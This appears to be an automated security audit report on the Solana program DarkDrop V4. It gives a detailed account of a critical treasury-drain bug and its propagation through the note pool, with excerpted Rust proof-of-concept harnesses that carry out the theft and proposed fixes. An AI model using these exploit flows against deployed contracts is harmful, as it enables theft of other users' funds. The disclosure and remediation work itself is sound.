JELLEO | AUTONOMOUS SOLANA AUDIT

AUDIT CYCLE · JUNE 07, 2026

DarkDrop V4

AUDITOR	Kirill Sakharuk · kirill@jelleo.com
TARGET	DarkDrop V4
AUDIT DATE	June 07, 2026
CYCLE	20260607-000000
ENGINE SHA	64e562b95d
GENERATED	2026-06-08T03:42:26+00:00

1	3	3	0	3
CRITICAL	HIGH	MEDIUM	LOW	INFO

CONFIRMED · DISCLOSED · FIXED · VERIFIED

SIGNED · ED25519

MCowBQYDK2VwAyEAvCFSLBecPuNClei48PWjHuelHlBX9uYZo4wELbQ7b+k=

verify with `audit-pipeline sign verify <file> <file>.sig --pubkey jelleo.ed25519.pub`
public key at https://jelleo.com/keys/jelleo.ed25519.pub

PLATFORM · V0.1

JELLEO · The underwriting layer for Solana DeFi.

Methodology	jelleo.com/methodology.html
Disclosure	jelleo.com/security.html
Source	github.com/Copenhagen0x/audit-pipeline-cli

00 — EXECUTIVE SUMMARY

This report documents the results of an autonomous Solana audit cycle run by Jelleo against the `DarkDrop V4` workspace on June 07, 2026. The cycle identified 1 Critical, 3 High and 3 Medium findings after Layer 2.5 triage and root-cause clustering. Each finding includes an engine-direct proof-of-concept, a Kani-bounded model-checker proof where the formal layer ran, an on-chain BPF reproduction through LiteSVM, and an LLM-authored structural fix patch.

00.1 — SCOPE

IN-SCOPE SOURCE SET	
Target workspace	`DarkDrop V4`
Protocol	Solana BPF program
Engine commit	`64e562b95d` (64e562b95dad8a901b41f99028f9adba3c3c036e)

Source files	CIRCUITS/
	`darkdrop.circom` `note_pool.circom`
	PROGRAM/PROGRAMS/DARKDROP/SRC/
	`errors.rs` `lib.rs` `merkle_tree.rs` `poseidon.rs` `state.rs` `verifier.rs` `vk.rs`
	PROGRAM/PROGRAMS/DARKDROP/SRC/INSTRUCTIONS/
	`admin_sweep.rs` `admin_sweep_spl.rs` `authority_rotation.rs` `claim_credit.rs` `claim_credit_spl.rs` `claim_from_note_pool.rs` `claim_from_note_pool_spl.rs` `close_receipt.rs` `create_drop.rs` `create_drop_spl.rs` `create_drop_to_pool.rs` `create_drop_to_pool_spl.rs` `create_treasury.rs` `deposit_to_note_pool.rs` `initialize.rs` `initialize_mint_config.rs` `initialize_mint_trees.rs` `initialize_mint_vault.rs` `initialize_note_pool.rs` `migrate_schema_v2.rs` `migrate_vault.rs` `mod.rs` `pause_deposits.rs` `revoke_drop.rs` `withdraw_credit.rs` `withdraw_credit_spl.rs`
	35 in-scope source files (Anchor program + Groth16 circuits).

Hypothesis library	137 invariant claim(s) covering authorization, arithmetic safety, accounting consistency, capability handling, event auditability, and oracle / time freshness
Out of scope	Off-chain components (indexers, frontends, oracles); deployment scripts; framework / standard-library code; dependencies pinned in `Cargo.toml` beyond their declared interfaces.

01 — PER-FINDING ANALYSIS · CONTENTS

Each finding below begins on its own page. Numbering matches the `FINDING NN / NN` banner in the body. Click any row to jump.

01	CRITICAL	A deposited drop's Merkle leaf can encode any amount, with no on-chain check that it equals the SOL actually transferred — letting a tiny deposit withdraw an arbitrary sum from the shared treasury	missing-amount-binding
02	HIGH	The note pool's "honest-by-construction" amount is rebuilt from the same unbound client commitment as the base layer, so a dishonest base note launders straight through it	amount-binding-propagation
03	HIGH	migrate_vault resets the solvency counters to zero, letting the authority sweep funds that back outstanding pre-migration drops	solvency-counter-desync
04	HIGH	Pool-claim proof soundness depends on a dev-grade V3 trusted setup whose toxic waste was never discarded	trusted-setup
05	MEDIUM	Anyone who lands the first initialize_vault transaction becomes the permanent vault authority	init-front-running
06	MEDIUM	Relayer marks the deposit nonce as permanently used before the on-chain create_drop is submitted, so a crash in that window strands already-received user funds	relayer-liveness
07	MEDIUM	Pool-claim relay submits and pays for transactions doomed to revert because it skips the on-chain nullifier pre-check the base endpoint performs	relayer-gas-drain
08	INFO	Verified safe: admin_sweep / admin_sweep_spl floor arithmetic cannot be bricked by an over-withdrawal (investigated, not a finding)	accounting-underflow
09	INFO	SPL deposit bounds are denominated in SOL lamports, not the mint's own base units	spl-bounds-reuse
10	INFO	Comment in claim_credit_spl claims pubkey_to_field is a local copy, but the file imports and calls the shared poseidon::pubkey_to_field	stale-comment

FINDING 01 / 10

CRITICAL L2-01 missing-amount-binding

A deposited drop's Merkle leaf can encode any amount, with no on-chain check that it equals the SOL actually transferred — letting a tiny deposit withdraw an arbitrary sum from the shared treasury

INVARIANT The amount that becomes spendable (the value encoded inside the Merkle leaf, later proven via amount_commitment and paid at withdraw) MUST equal the value actually transferred into custody at deposit time. Equivalently: per-note withdrawable <= per-note deposited, and sum(withdrawable) <= sum(deposited) per asset.

CLUSTER This finding represents 2 hypotheses that converged on the same code-site root cause. The cluster representative is `L2-01`; co-occurring duplicates: `c0`. Each duplicate produced an independent STRONG-classified PoC fire against the same engine function — see §B for the clustering rule.

AFFECTED CODE

- `darkdropv4/program/programs/darkdrop/src/instructions/create_drop.rs:28-29` — `leaf` accepted as opaque 32 bytes; `amount` the only value transferred/counted
- `darkdropv4/program/programs/darkdrop/src/instructions/create_drop.rs:32-36` — `amount` validated against `MIN_DEPOSIT_LAMPORTS` / `drop_cap`; leaf contents unvalidated
- `darkdropv4/program/programs/darkdrop/src/instructions/create_drop.rs:41-50` — `system_program::transfer` moves only `amount`
- `darkdropv4/program/programs/darkdrop/src/instructions/create_drop.rs:52-60` — leaf inserted verbatim via `merkle_tree_append`; no link to `amount`
- `darkdropv4/program/programs/darkdrop/src/instructions/create_drop.rs:68-70` — `vault.total_deposited += amount` (the small, transferred value)
- `darkdropv4/circuits/darkdrop.circom:49-54` — `leaf = Poseidon(secret, nullifier, amount, blinding_factor)`; depositor chooses `amount`
- `darkdropv4/circuits/darkdrop.circom:76-90` — `amount_commitment = Poseidon(amount, blinding_factor)`; `amount` only range-checked `>0` and 64-bit
- `darkdropv4/program/programs/darkdrop/src/instructions/claim_credit.rs:49-67` — proof binds `[root, nullifier, recipient, amount_commitment]`; stored commitment re-randomized over the in-leaf amount
- `darkdropv4/program/programs/darkdrop/src/instructions/withdraw_credit.rs:81-90` — re-opens with the leaf-encoded amount
- `darkdropv4/program/programs/darkdrop/src/instructions/withdraw_credit.rs:115-121` — sole solvency gate is `amount ⩽ treasury_balance - rent`; no obligation floor
- `darkdropv4/program/programs/darkdrop/src/instructions/withdraw_credit.rs:112-159` — pays out the leaf-encoded amount from the shared treasury and bumps `total_withdrawn`

DESCRIPTION

The protocol's core solvency invariant is: the amount that becomes spendable (the value encoded inside a Merkle leaf, later proven via `amount_commitment` and paid at withdraw) MUST equal the value actually transferred into custody when the drop was created. Equivalently, per note `withdrawable ⩽ deposited`, and across all notes `sum(withdrawable) ⩽ sum(deposited)` per asset. Because custody is a single shared treasury PDA, this is not a per-user constraint the depositor can only hurt themselves by breaking — it is a global solvency constraint whose violation is paid for by other users' funds.

`handle_create_drop` breaks this invariant by accepting the leaf as 32 opaque bytes with zero on-chain relationship to the transferred lamports:

- The instruction takes `leaf: [u8; 32]` and `amount: u64` as independent parameters (`create_drop.rs:28-29`).
- It validates only `amount` against the deposit bounds — `amount ⩾ MIN_DEPOSIT_LAMPORTS` and `amount ⩽ vault.drop_cap` (`create_drop.rs:32-36`). The contents of `leaf` are never validated.
- It transfers exactly `amount` lamports into the treasury (`create_drop.rs:41-50`) and increments `vault.total_deposited` by that same `amount` (`create_drop.rs:68-70`).
- It then appends `leaf` verbatim into the Merkle tree (`create_drop.rs:52-60`). At no point does it open the leaf or compare any in-leaf value to `amount` .

The ZK circuit proves the leaf is well-formed, but only relative to a depositor-chosen amount. `leaf = Poseidon(secret, nullifier, amount, blinding_factor)` (`darkdrop.circom:49-54`), and `amount_commitment = Poseidon(amount, blinding_factor)` (`darkdrop.circom:76-79`). The only constraints on `amount` are that it is non-zero and fits in 64 bits (`darkdrop.circom:81-90`). The circuit therefore certifies that the leaf and the public `amount_commitment` agree on *some* value the depositor picked — it cannot and does not certify that this value equals the lamports moved on-chain, which the circuit never sees.

Downstream, every value decision uses the leaf-encoded amount, never the deposited one:

- `claim_credit` binds public inputs `[merkle_root, nullifier_hash, recipient, amount_commitment]` and stores `commitment = Poseidon(amount_commitment, salt)` into the CreditNote (`claim_credit.rs:49-67`).
- `withdraw_credit` re-opens that commitment using the caller-supplied `amount` from the opening (`withdraw_credit.rs:81-90`) and pays it out (`withdraw_credit.rs:112-143`). Its only solvency gate is `amount ⩽ treasury_balance - rent_exempt_min` (`withdraw_credit.rs:115-121`) — there is no per-note obligation floor. Notably, the obligation floor `total_deposited - total_withdrawn` that `admin_sweep` enforces (`admin_sweep.rs:20-23`) is absent from the withdraw path; the asymmetry is the bug.

So a depositor can build `leaf = Poseidon(secret, nullifier, 5_000_000_000, blinding)` while passing `amount = 10_000` to the transfer, and later withdraw 5 SOL for a 0.00001 SOL deposit. `vault.drop_cap` does not bound this — it only bounds the transfer parameter `amount` , not the hidden in-leaf value.

This was previously **ACCEPTED** as inherent to commitment mixers (their H-02). That framing is the finding: the acceptance reasons about a depositor harming their own deposit, but custody is shared and withdraw has no obligation floor, so the loss falls on *other* honest users. A correct fixed-denomination mixer sidesteps this by allowing exactly one amount per pool, so there is no hidden-amount degree of freedom; DarkDrop allows an arbitrary per-note amount with shared custody.

IMPACT

- Who loses what: every honest depositor whose funds sit in the shared treasury. An attacker withdraws far more than they deposited; the deficit is drawn from other users' balances, so honest withdrawals later fail with `InsufficientBalance` once liquidity is gone.
- Attacker privilege: none beyond an ordinary user. The attacker needs only the ability to call `create_drop`, `claim_credit`, and `withdraw_credit`, and they are the proof-bound recipient throughout — no relayer, no vault authority, no special key.
- Preconditions: the treasury must hold at least the targeted amount of other users' liquidity at withdraw time (the only effective cap on a single theft). The dishonest leaf is unconstrained by `drop_cap`, so a single note can target the entire treasury balance. The attack is repeatable.
- Net effect: complete drain of SOL custody (and, via the symmetric SPL path, mint-vault custody), for a dust-sized deposit. This is direct theft of principal, not griefing.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

✓ Counterexample found (bug confirmed by symbolic execution)

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

PoC harness: `poc/L2-01_h02_live.rs` (LiteSVM, real built `darkdrop.so`, genuine Groth16 V2 proof generated by `poc/snark/gen_h02_proof.mjs`). Outcome: **GREEN**.

- `initialize_vault(drop_cap = 1 SOL)`. Note the attacker's hidden amount `A_big = 5 SOL` is five times the per-drop cap — the cap never applies to it.
- Attacker picks `(secret, nullifier, blinding)` and a large in-leaf amount `A_big` (any non-zero 64-bit u64), computes `leaf = Poseidon(secret, nullifier, A_big, blinding)`, and calls `create_drop(leaf, amount = 10_000)` (= `MIN_DEPOSIT_LAMPORTS`). Only 10,000 lamports leave the attacker; `total_deposited` rises by 10,000. The PoC asserts the on-chain Merkle root after this insert equals the proof's `merkle_root`.
- Honest users fund the shared treasury with five legitimate 1-SOL deposits (each at the cap). The PoC asserts `treasury_balance ≥ A_big` of *other* users' money before the attack, so the drain is theft, not self-withdrawal.
- Attacker calls `claim_credit` with the real V2 proof (`amount_commitment = Poseidon(A_big, blinding)`, recipient = attacker). The proof verifies on-chain: Merkle membership genuinely holds (the leaf really is in the tree), the root is known, the nullifier is fresh. A CreditNote is stored committing to `A_big`.

- Attacker calls `withdraw_credit` with an opening encoding `A_big`. The commitment re-opens (`matches_stored`), and the only solvency check — `A_big ⩽ treasury_balance - rent` — passes because the honest users funded it. 5 SOL of honest deposits leave the shared treasury to the attacker.

Proven result: treasury drained by ~`A_big` (5 SOL); attacker net gain ~`A_big` minus nullifier-PDA rent and base fees, for a 10,000-lamport deposit. The PoC asserts both `drained ⩾ A_big - 1` and `attacker_gain > A_big - 5_000_000`. Complementary L4 Kani harness proves the solvency invariant is violated. Because the attacker is the proof-bound recipient, no relayer or authority cooperation is needed; the theft per note is bounded only by current treasury liquidity (not by `drop_cap`), and the attack repeats across drops until the treasury is empty.

RECOMMENDED FIX

Bind the in-leaf amount to the lamports actually transferred at deposit time, so the value that can later be withdrawn can never exceed what was custodied. Two concrete code-level options:

- Make the deposited amount a public, on-chain-checked input to the leaf. Have `create_drop` itself derive (or verify) the amount component of the leaf from the transferred `amount`: require the depositor to also pass `blinding`, recompute `expected_amount_commitment = Poseidon(amount, blinding)` on-chain, and require the claim's `amount_commitment` to equal it (persist `expected_amount_commitment` keyed by leaf, e.g. in the `DepositReceipt`, and have `claim_credit` enforce equality). Then the circuit's `amount` is forced to equal the deposited `amount`, and the leaf-vs-custody gap closes. This keeps the value hidden from third parties (only the commitment is on-chain) while making it non-malleable.
- If amount privacy via free-form denominations is not a hard requirement, switch to fixed-denomination pools (one allowed `amount` per pool/mint), the standard sound mixer construction. With a single legal denomination the hidden-amount degree of freedom disappears and the leaf cannot encode more than was deposited.

In addition, regardless of which option is chosen, add the missing per-asset obligation floor to the withdraw path as defense-in-depth: in `withdraw_credit` (and `withdraw_credit_spl`) require the post-withdraw drained total to respect `total_withdrawn + amount ⩽ total_deposited` (mirroring the `outstanding = total_deposited - total_withdrawn` floor that `admin_sweep.rs:20-23` already enforces). On its own this floor does not fully fix the bug — a dishonest leaf inflates `total_deposited` is not affected, but the floor caps `sum(withdrawn) ⩽ sum(deposited)` so no more than the real aggregate custody can ever leave — it converts an unbounded per-note drain into a first-come bounded one and protects honest aggregate solvency. The amount-binding fix (option 1 or 2) is the root fix; the floor is the backstop.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
// PoC L2-01 [Critical] — H-02 unbound-leaf shared-treasury drain, RUN END-TO-END
// in LiteSVM against the real built darkdrop.so with a GENUINE Groth16 V2 proof.
//
// Flow (all on the real program, real proof verified on-chain):
//   1. initialize_vault(drop_cap = 1 SOL)
//   2. attacker create_drop(dishonest_leaf, A_small = 10_000 lamports)
//        → leaf encodes A_big = 5 SOL; only 10_000 lamports are transferred.
//   3. honest user create_drop(honest_leaf, 5 SOL)  → funds the shared treasury.
//   4. attacker claim_credit(real V2 proof)  → mints CreditNote committing to A_big.
//   5. attacker withdraw_credit(opening for A_big) → drains 5 SOL of the honest
//        user's money from the shared treasury to the attacker.
//
// The proof + witness are generated by poc/snark/gen_h02_proof.mjs into
// h02_proof.json (set H02_JSON to its path). DARKDROP_SO → built darkdrop.so.
//
// Run: H02_JSON=/abs/h02_proof.json DARKDROP_SO=/abs/darkdrop.so \
//        cargo test --test l2_01 -- --nocapture

use litesvm::LiteSVM;
use serde_json::Value;
use sha2::{Digest, Sha256};
use solana_sdk::{
    account::ReadableAccount,
    instruction::{AccountMeta, Instruction},
    pubkey::Pubkey,
    signature::{Keypair, Signer},
    system_program,
    transaction::Transaction,
};
use std::str::FromStr;

const PROGRAM_ID_STR: &str = "GSig1QYVwPVhHF6oVEwhadAwdWjTqtq6H5cSMEkfAgkU";
const SOL: u64 = 1_000_000_000;

fn disc(name: &str) -> Vec<u8> {
    let h = Sha256::digest(format!("global:{name}").as_bytes());
    h[..8].to_vec()
}
fn arr32(v: &Value) -> [u8; 32] {
    let a: Vec<u8> = v.as_array().unwrap().iter().map(|x| x.as_u64().unwrap() as u8).collect();
    a.try_into().unwrap()
}
fn vecb(v: &Value) -> Vec<u8> {
    v.as_array().unwrap().iter().map(|x| x.as_u64().unwrap() as u8).collect()
}

#[test]
fn h02_unbound_leaf_drains_shared_treasury() {
    let pid = Pubkey::from_str(PROGRAM_ID_STR).unwrap();
    let json_path = std::env::var("H02_JSON").expect("set H02_JSON");
    let j: Value = serde_json::from_str(&std::fs::read_to_string(&json_path).unwrap()).unwrap();

    let a_small: u64 = j["A_small"].as_str().unwrap().parse().unwrap();
    let a_big: u64 = j["A_big"].as_str().unwrap().parse().unwrap();
    let leaf = arr32(&j["leaf"]);
    let merkle_root = arr32(&j["merkle_root"]);
    let nullifier_hash = arr32(&j["nullifier_hash"]);
    let amount_commitment = arr32(&j["amount_commitment"]);
    let salt = arr32(&j["salt"]);
```

```rust
    let blinding = arr32(&j["blinding"]);
        program_id: pid,
        accounts: vec![
            AccountMeta::new(vault, false),
            AccountMeta::new(treasury, false),
            AccountMeta::new(credit_note, false),
            AccountMeta::new(attacker.pubkey(), false), // recipient (mut)
            AccountMeta::new(attacker.pubkey(), true),  // payer
            AccountMeta::new_readonly(system_program::ID, false),
        ],
        data: d,
    };
    send(&mut svm, ix, &attacker, &[&attacker]).expect("withdraw_credit drains treasury");

    let treasury_after = svm.get_account(&treasury).unwrap().lamports();
    let attacker_after = svm.get_account(&attacker.pubkey()).unwrap().lamports();

    let drained = treasury_before - treasury_after;
    let attacker_gain = attacker_after as i128 - attacker_before as i128;

    assert!(drained ≥ a_big - 1, "treasury must be drained by ~A_big (5 SOL)");
    // Attacker costs since `attacker_before`: claim pays NullifierAccount rent
    // (~0.0011 SOL, NOT returned) + CreditNote rent (returned on withdraw close)
    // + a few base tx fees. Net gain ~= A_big - those costs (the tiny A_small
    // deposit was already spent before attacker_before was sampled).
    let max_costs: i128 = 5_000_000; // generous: nullifier-PDA rent + fees
    assert!(
        attacker_gain > (a_big as i128) - max_costs,
        "attacker net gain should be ~A_big (5 SOL) minus nullifier rent + fees"
    );
    println!(
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
// F1 — H-02 fixed denomination (verified: poc/FIX_VERIFY_h02.rs GREEN)
// create_drop.rs / create_drop_to_pool.rs / deposit_to_note_pool.rs / withdraw_credit.rs
-    require!(amount ⩽ ctx.accounts.vault.drop_cap, DarkDropError::AmountExceedsCap);
+    require!(amount == ctx.accounts.vault.drop_cap, DarkDropError::AmountExceedsCap);
// withdraw_credit.rs additionally adds the same `amount == drop_cap` gate after parsing the opening.
```

FINDING 02 / 10

HIGH L2-02 amount-binding-propagation

The note pool's "honest-by-construction" amount is rebuilt from the same unbound client commitment as the base layer, so a dishonest base note launders straight through it

INVARIANT A note-pool leaf's amount must equal real custodied value. The MAP/SECURITY claim is that pool entry 'builds the leaf on-chain from the verified amount, so the pool layer is honest-by-construction' and is immune to H-02.

CLUSTER This finding represents 2 hypotheses that converged on the same code-site root cause. The cluster representative is `L2-02`; co-occurring duplicates: `c1`. Each duplicate produced an independent STRONG-classified PoC fire against the same engine function — see §B for the clustering rule.

AFFECTED CODE

- `deposit_to_note_pool.rs:56-64` — opens `credit_note.commitment` and trusts the recovered `amount` as "verified"
- `deposit_to_note_pool.rs:38-40` — parses `amount` / `blinding` / `salt` from the caller-supplied 72-byte `opening`
- `deposit_to_note_pool.rs:68-71` — builds the on-chain pool leaf `Poseidon4(secret, nullifier, amount_bytes, blinding)` from that unverified-against-custody amount
- `deposit_to_note_pool.rs:12-19` — the in-code "eliminates the dishonest leaf problem / immune to I-01" claim that this finding refutes
- `claim_credit.rs:29` / `claim_credit.rs:62-67` — `amount_commitment` parsed from caller bytes; `credit.commitment = Poseidon(amount_commitment, salt)` (the value the pool later re-opens)
- `create_drop.rs:28-50` — root cause: transfers `amount` to treasury but appends an independent client-chosen `leaf`, with no on-chain binding between them
- `claim_from_note_pool.rs:64-67` — re-stores the same amount into a fresh `CreditNote` after V3
- `withdraw_credit.rs:81-90`, `withdraw_credit.rs:115-121`, `withdraw_credit.rs:155-159` — opens the pool note's commitment, gates payout only on treasury balance (no obligation floor), pays out the laundered amount

DESCRIPTION

The note pool was introduced as a second mixing layer that is *immune* to the base-layer dishonest-leaf problem (H-02 / Audit I-01). The in-code claim states this explicitly: `deposit_to_note_pool` "constructs the pool leaf ON-CHAIN using the VERIFIED amount ... This eliminates the dishonest leaf problem (Audit I-01): the user cannot lie about the amount because the program opens and verifies the credit note

commitment first" (`deposit_to_note_pool.rs:12-19`). The invariant the pool layer is supposed to uphold is: **a note-pool leaf's encoded amount equals real custodied value**, because it is derived from a "verified amount" rather than from an opaque client-chosen leaf.

That invariant does not hold, because the "verified amount" is verified against an attacker-chosen value, not against custody. The verification at `deposit_to_note_pool.rs:56-64` opens `credit_note.commitment` :

```
original_commitment = Poseidon(amount_bytes, blinding_factor)   // :58-59
computed_commitment = Poseidon(original_commitment, salt)       // :60
require!(computed_commitment == credit.commitment)             // :61-64
```

It then treats the recovered `amount` as ground truth and builds the pool leaf from it (`deposit_to_note_pool.rs:68-71`):

```
pool_leaf = Poseidon4(pool_secret, pool_nullifier, amount_bytes, pool_blinding)
```

But `credit.commitment` did not originate from any custodied value. It was written at `claim_credit.rs:62-67` as `stored_commitment = Poseidon(amount_commitment, salt)` , where `amount_commitment` is the V2 public input parsed directly out of caller-supplied `inputs[32..64]` (`claim_credit.rs:29`). That `amount_commitment` is the H-02 unbound base-layer value: at deposit time `create_drop` transfers the instruction's `amount` parameter to the treasury (`create_drop.rs:41-50`) but appends a completely independent, client-chosen 32-byte `leaf` to the tree (`create_drop.rs:56-58`) with **no on-chain comparison between the two**. The V2 circuit only proves the leaf encodes *some* `(amount, blinding)` and that `amount_commitment` matches that in-leaf amount — it never sees the lamports actually moved.

So `deposit_to_note_pool` 's "open and verify" step is sound only in the sense that it confirms the opening is consistent with a commitment that was itself never bound to real custody. The pool faithfully re-encodes a lie. The Poseidon math being correct at every hop is exactly what makes the laundering work: the dishonest amount passes the commitment check, becomes the on-chain pool leaf, survives V3, and is paid out.

The immunity is also **asymmetric**, and that nuance matters for the fix scope: `create_drop_to_pool` is genuinely honest because it encodes the literal CPI-transferred amount into the pool leaf on-chain. It is specifically the *migration* path — `deposit_to_note_pool` , which inherits an already-claimed base commitment — that propagates H-02. The blanket "the pool layer is immune to H-02" claim is overbroad; only one of the two entry points is honest-by-construction.

IMPACT

- **Who loses:** other honest depositors. The treasury is shared custody; the laundered withdrawal pays `A_big` out of lamports backing other users' drops, not out of the attacker's tiny `A_small` deposit. `withdraw_credit` has no per-note or aggregate obligation floor (`withdraw_credit.rs:115-121`), so theft is bounded only by current treasury liquidity, not by `drop_cap` or by what the attacker deposited.
- **Attacker privilege:** none special. The attacker is an ordinary user who is the proof-bound recipient at every hop; no relayer, authority, or compromised key is needed. The `deposit_to_note_pool` recipient must sign (`deposit_to_note_pool.rs:51-54, 125-126`), which is a self-

deanonymization/linkability point at that one step but is no barrier to the drain — the attacker is willing to sign as themselves.

- **Preconditions:** the note pool is initialized; the treasury holds at least `A_big` of other users' funds; the attacker can build a dishonest base leaf (L2-01 must be live). The same SOL is reachable via the simpler base-layer drain — the pool path's significance is that it defeats the specific claim that routing through the pool sanitizes a dishonest note.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

—

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

Proven end-to-end in LiteSVM against the real `darkdrop.so` with genuine V2 + V3 Groth16 proofs. PoC harness: `poc/L2-02_pool_laundering_live.rs` (test `h02_laundered_through_note_pool_drains_treasury`), GREEN.

Concrete steps as executed by the harness:

- `initialize_vault(drop_cap = 1 SOL)` and `initialize_note_pool` (PoC steps 1-2). Note `drop_cap` is set to 1 SOL while `A_big` is 5 SOL — the drop cap does not bound the in-leaf value, only the transferred parameter.
- Attacker `create_drop(dishonest base leaf, amount = A_small)` — `A_small = 10_000` lamports leave the attacker, while the appended `base_leaf` encodes the hidden `A_big = 5 SOL` (PoC step 3). The harness asserts the on-chain Merkle root equals the V2 proof root (`poc:114`), confirming the dishonest leaf really entered the tree.
- Five honest users each deposit 1 SOL, funding the shared treasury with the value the attacker will steal (PoC step 4).
- Attacker `claim_credit` with the real V2 proof → base `CreditNote` whose stored commitment is over `A_big` (PoC step 5; `claim_credit.rs:62`).
- Attacker `deposit_to_note_pool` with `opening = A_big ++ blinding ++ salt`. The commitment check at `deposit_to_note_pool.rs:61-64` passes (the opening is consistent with the dishonest commitment), and the program builds the pool leaf encoding `A_big` on-chain (PoC step 6). The harness asserts the on-chain pool root equals the V3 proof root (`poc:162`), confirming `A_big` entered the pool tree.
- Attacker `claim_from_note_pool` with the real V3 proof → a fresh `CreditNote` over `A_big` (PoC step 7; `claim_from_note_pool.rs:64-67`).
- Attacker `withdraw_credit` with `opening = A_big ++ new_blinding ++ new_salt`. The caller-salt fallback opens the pool note (`withdraw_credit.rs:85-90`), the only solvency gate is `amount ⩽ treasury_balance - rent` (`withdraw_credit.rs:115-121`), and 5 SOL of the honest users' deposits leave the treasury to the attacker (PoC step 8).

Proven result: treasury drained by ~ `A_big` (5 SOL), attacker net gain ~ `A_big` minus PDA rent and fees, off a 10,000-lamport deposit. The asserts at `poc:193-194` hold. This directly disproves the `deposit_to_note_pool.rs:12-19` immunity claim.

Dependency note: this is **not independently exploitable** — it requires the base-layer dishonest-leaf primitive (L2-01 / H-02). It is reported separately because the pool layer was specifically advertised as immune, and that advertised boundary is false: the migration path re-imports the base defect into the "honest" pool.

RECOMMENDED FIX

There is **one root fix** that closes both L2-01 and this propagation: bind the in-leaf amount to the lamports actually transferred at deposit time. In `create_drop` (and `create_drop_spl`), do not accept an opaque client `leaf`. Instead reconstruct the leaf on-chain from the transferred `amount`, e.g. take the depositor's `(secret, nullifier, blinding)` and compute `leaf = Poseidon4(secret, nullifier, u64_to_field_be(amount), blinding)` using the same arity/order the V2 circuit constrains, then append that. This makes the base `amount_commitment` provably equal to custodied value, which in turn makes `deposit_to_note_pool`'s "verified amount" genuinely verified, so the pool leaf can no longer encode an inflated value. This mirrors what `create_drop_to_pool` already does correctly (literal CPI amount into the leaf).

If reconstructing the base leaf on-chain is not feasible without a circuit change, the equivalent denomination-based mitigation is to fix one amount per pool (a correct mixer uses a single denomination per pool), so a leaf cannot encode an arbitrary value.

Defense-in-depth that should be added regardless of the root fix: enforce a withdrawal obligation floor in `withdraw_credit` so the treasury can never be debited below the sum of outstanding owed amounts (`total_deposited - total_withdrawn`), rather than only above the rent-exempt minimum (`withdraw_credit.rs:115-121`). That bounds the blast radius of any future value-binding gap. Finally, correct the immunity comment at `deposit_to_note_pool.rs:12-19`: `deposit_to_note_pool` is honest only to the extent its input commitment was bound to custody; it is not honest-by-construction the way `create_drop_to_pool` is.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
// PoC L2-02 [High] — H-02 propagation: a DISHONEST base leaf (encoding A_big) is
// laundered through the "honest-by-construction" note pool and withdrawn, draining
// the shared treasury. Disproves the SECURITY.md claim that the pool layer is
// immune to H-02. Runs end-to-end in LiteSVM vs the real darkdrop.so with REAL
// V2 + V3 Groth16 proofs.
//
// Chain: initialize_vault → initialize_note_pool → attacker create_drop(dishonest
//   leaf, 10_000 lamports) → honest deposits fund treasury → claim_credit(V2) →
//   deposit_to_note_pool (opens base note, builds pool leaf encoding A_big on-chain)
//   → claim_from_note_pool(V3) → withdraw_credit → 5 SOL drained.
//
// Run: H02_JSON=/abs/l2_02_proof.json DARKDROP_SO=/abs/darkdrop.so \
//        cargo test --test l2_02 -- --nocapture

use litesvm::LiteSVM;
use serde_json::Value;
use sha2::{Digest, Sha256};
use solana_sdk::{
    account::ReadableAccount,
    instruction::{AccountMeta, Instruction},
    pubkey::Pubkey,
    signature::{Keypair, Signer},
    system_program,
    transaction::Transaction,
};
use std::str::FromStr;

const PROGRAM_ID_STR: &str = "GSig1QYVwPVhHF6oVEwhadAwdWjTqtq6H5cSMEkfAgkU";
const SOL: u64 = 1_000_000_000;

fn disc(name: &str) -> Vec<u8> { Sha256::digest(format!("global:{name}").as_bytes())[..8].to_vec() }
fn arr32(v: &Value) -> [u8; 32] {
    let a: Vec<u8> = v.as_array().unwrap().iter().map(|x| x.as_u64().unwrap() as u8).collect();
    a.try_into().unwrap()
}
fn vecb(v: &Value) -> Vec<u8> { v.as_array().unwrap().iter().map(|x| x.as_u64().unwrap() as u8).collect() }

#[test]
fn h02_laundered_through_note_pool_drains_treasury() {
    let pid = Pubkey::from_str(PROGRAM_ID_STR).unwrap();
    let j: Value = serde_json::from_str(
        &std::fs::read_to_string(std::env::var("H02_JSON").expect("set H02_JSON")).unwrap(),
    ).unwrap();

    let a_small: u64 = j["A_small"].as_str().unwrap().parse().unwrap();
    let a_big: u64 = j["A_big"].as_str().unwrap().parse().unwrap();
    let base_leaf = arr32(&j["base_leaf"]);
    let base_root = arr32(&j["base_merkle_root"]);
    let nullifier_hash = arr32(&j["nullifier_hash"]);
    let amount_commitment = arr32(&j["amount_commitment"]);
    let salt = arr32(&j["salt"]);
    let blinding = arr32(&j["blinding"]);
    let (v2a, v2b, v2c) = (vecb(&j["v2_proof_a"]), vecb(&j["v2_proof_b"]), vecb(&j["v2_proof_c"]));
    let pool_secret = arr32(&j["pool_secret"]);
    let pool_nullifier_param = arr32(&j["pool_nullifier_param"]);
    let pool_blinding = arr32(&j["pool_blinding"]);
    let pool_root = arr32(&j["pool_merkle_root"]);
    let pool_nullifier_hash = arr32(&j["pool_nullifier_hash"]);
    let new_stored_commitment = arr32(&j["new_stored_commitment"]);
```

```
    let new_blinding = arr32(&j["new_blinding"]);
    d.extend_from_slice(&pool_nullifier_hash);
    d.extend_from_slice(&v3a); d.extend_from_slice(&v3b); d.extend_from_slice(&v3c);
    let mut pinputs = Vec::new(); pinputs.extend_from_slice(&pool_root);
pinputs.extend_from_slice(&new_stored_commitment);
    d.extend_from_slice(&(pinputs.len() as u32).to_le_bytes()); d.extend_from_slice(&pinputs);
    send(&mut svm, Instruction { program_id: pid, accounts: vec![
        w(vault), w(note_pool), ro(note_pool_tree), w(pool_credit), w(pool_nullifier_acct),
        ro(attacker.pubkey()), AccountMeta::new(attacker.pubkey(), true), ro(system_program::ID)],
        data: d }, &attacker, &[&attacker], "claim_from_note_pool V3");

    // 8. attacker withdraw_credit on the pool note (caller-salt fallback opens it)
    //    opening(72) = A_big LE ++ new_blinding ++ new_salt
    let mut wopen = Vec::new(); wopen.extend_from_slice(&a_big.to_le_bytes());
